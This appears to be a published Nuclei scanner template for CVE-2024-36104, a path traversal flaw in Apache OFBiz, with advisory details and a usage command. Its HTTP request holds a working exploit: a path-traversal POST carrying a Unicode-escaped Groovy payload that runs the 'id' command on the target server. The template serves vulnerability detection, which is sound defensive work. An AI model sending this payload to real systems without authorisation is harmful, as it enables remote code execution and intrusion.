Apache OFBiz - Path Traversal

ID: CVE-2024-36104

Severity: critical

Author: Co5mos

Tags: cve,cve2024,apache,obiz,lfi

Description

Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.

YAML Source

id: CVE-2024-36104

info:
  name: Apache OFBiz - Path Traversal
  author: Co5mos
  severity: critical
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/06/03/1
    - https://issues.apache.org/jira/browse/OFBIZ-13092
    - https://lists.apache.org/thread/sv0xr8b1j7mmh5p37yldy9vmnzbodz2o
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36104
    cwe-id: CWE-22
    epss-score: 0.00045
    epss-percentile: 0.16306
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Apache_OFBiz"
    product: ofbiz
    vendor: apache
  tags: cve,cve2024,apache,obiz,lfi

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: word
        part: body
        words:
          - 'java.lang.Exception'

      - type: status
        status:
          - 200
# digest: 490a0046304402207c20b157d21179dd0fca18f01383a1bdec0d682cd1e9d5500289630145a36a89022049107392605b44da12d2824ee7ea0d9c1ba022b8006b02b676d1833be33e6b0f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-36104.yaml"

View on Github